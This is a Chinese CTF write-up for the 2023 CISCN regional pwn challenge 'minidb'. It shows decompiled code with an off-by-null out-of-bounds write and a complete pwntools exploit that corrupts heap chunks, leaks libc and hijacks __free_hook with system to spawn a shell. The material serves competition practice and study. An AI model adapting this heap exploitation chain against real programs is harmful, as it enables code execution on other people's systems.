2023 ciscn 华东北分区赛 pwn minidb
没去打比赛,做了一下,本地通了,不知道远程可不可以
结构体
00000000 Data struc ; (sizeof=0x40, mappedto_8)
00000000 type dd ?
00000004 flag dd ?
00000008 database_name dq ?
00000010 pair dq 6 dup(?) ; offset
00000040 Data ends
00000040
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 column struc ; (sizeof=0x18, mappedto_9)
00000000 ppp dq ?
00000008 key dq ?
00000010 value dq ?
00000018 column ends
00000018
当type为1和2时,可以255个字节内的oob write \x00
unsigned __int64 __fastcall db_edit(Data *a1)
{
int len; // [rsp+1Ch] [rbp-224h]
__int64 v3; // [rsp+20h] [rbp-220h] BYREF
column *ptr; // [rsp+28h] [rbp-218h]
char value[520]; // [rsp+30h] [rbp-210h] BYREF
unsigned __int64 v6; // [rsp+238h] [rbp-8h]
v6 = __readfsqword(0x28u);
if ( a1 )
{
printf("Input the key: ");
__isoc99_scanf("%ld", &v3);
ptr = (column *)sub_168D((__int64)a1, v3, 0LL);
if ( ptr )
{
printf("Input the new value: ");
__isoc99_scanf("%255s", value);
len = strlen(value);
*((_BYTE *)&ptr->value + len) = 0; // strlen <=255 && oob write \x00
if ( (a1->type == 1 || a1->type == 2) && len > 0x7F || (a1->type == 3 || a1->type == 4) && len > 0xFF )
{
puts("\x1B[31m\x1B[1m[x] The length of new value is TOOOOOO LOOOOONG!\x1B[0m");
}
else
{
memcpy(&ptr->value, value, len);
*((_BYTE *)&ptr->value + len) = 0;
puts("[+] Succesfully update the value of specific key!");
}
}
else
{
puts("\x1B[31m\x1B[1m[x] Key NOT FOUND!\x1B[0m");
}
}
else
{
puts("\x1B[31m\x1B[1m[x] Runtime error! No database provided!\x1B[0m");
}
return __readfsqword(0x28u) ^ v6;
}
伪造对应的chunk即可实现任意地址读写
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './minidb'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def dbgg():
raw_input()
menu = 'Your choice: '
def add_database(name, tp):
r.sendlineafter(menu, '1')
r.sendlineafter('Please input the name of database: ', name)
r.sendlineafter('Please input the type of database: ', str(tp))
def use(name):
r.sendlineafter(menu, '2')
r.sendlineafter('Please input the name of database: ', name)
def add(key, value):
r.sendlineafter(menu, '1')
r.sendlineafter('Input the key: ', str(key))
r.sendafter('Input the value: ', value)
def show(key):
r.sendlineafter(menu, '2')
r.sendlineafter('Input the key: ', str(key))
def edit(key, value):
r.sendlineafter(menu, '3')
r.sendlineafter('Input the key: ', str(key))
r.sendafter('Input the new value: ', value)
def delete(key):
r.sendlineafter(menu, '4')
r.sendlineafter('Input the key: ', str(key))
def out():
r.sendlineafter(menu, '666')
def delete_database(name):
r.sendlineafter(menu, '3')
r.sendlineafter('Please input the name of database: ', name)
def change(name, new_name):
r.sendlineafter(menu, '5')
r.sendlineafter('Please input the name of database: ', name)
r.sendlineafter('Please input the new name for database: ', new_name)
dbgg()
p1 = 'a' * 0xf7
#r.sendlineafter(menu, '1')
#r.sendafter('Please input the name of database: ', p1)
add_database(p1, 1)
use(p1)
add(0, 'a' * 0x77 + '\n')
add(1, 'a' * 0x77 + '\n')
#delete(0)
#edit(0, 'a' * 0x98 + '\n')
out()
p2 = 'a' * 0x60
add_database(p2, 1)
use(p2)
add(0, 'a' * 8 + '\n')
add(1, 'a' * 8 + '\n')
edit(1, 'a' * 0x58 + '\x31' + '\n')
for i in range(8):
edit(1, 'a' * (0x57 - i) + '\x00' + '\n')
edit(1, 'a' * 0x50 + '\xa1' + '\n')
out()
use(p1)
edit(1, 'a' * 0xa8 + '\n')
out()
use(p2)
for i in range(7):
add(i + 2, 'a\n')
p3 = b'a' * 0x68 + p64(0x1) + b'\n'
edit(0, p3)
for i in range(8):
p3 = b'a' * (0x67 - i) + b'\x00' + b'\n'
edit(0, p3)
for i in range(8):
p3 = b'a' * (0x60 - i) + b'\x00' + b'\n'
edit(0, p3)
p3 = b'a' * 0x58 + p64(0xa1) + b'\n'
edit(0, p3)
for i in range(7):
delete(i + 2)
edit(1, 'a' * 0x8 + '\x71\n')
delete(1)
out()
add_database('b\n', 1)
r.sendlineafter(menu, '5')
r.sendafter('Please input the name of database: ', 'b\n')
r.sendlineafter('Please input the new name for database: ', 'b' * 0x20)
use(p2)
delete(0)
out()
add_database('c' * 0x60, 1)
add_database('d' * 0x60, 1)
r.sendlineafter(menu, '4')
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = one[1] + libc_base
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
delete_database('c' * 0x60)
delete_database('d' * 0x60)
add_database('e' * 0x20, 1)
add_database('d' * 0x20, 1)
#delete_database('e' * 0x20)
delete_database('d' * 0x20)
delete_database('e' * 0x20)
#add_database('d' * 0x20, 1)
#change('\x00', 'a')
r.sendlineafter(menu, '4')
r.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
r.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
r.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
r.recvuntil('\n')
r.recvuntil('\x09')
database_name = u64(r.recv(6).ljust(8, b'\x00'))
li('database_name = ' + hex(database_name))
change(p64(database_name), p64(free_hook - 0x20))
add_database('a' * 0x20, '1')
add_database(b'a' * 0x20 + p64(system_addr), '1')
#add_database(p64(one_gadget), '1')
change(p2, '/bin/sh')
delete_database('/bin/sh')
r.interactive()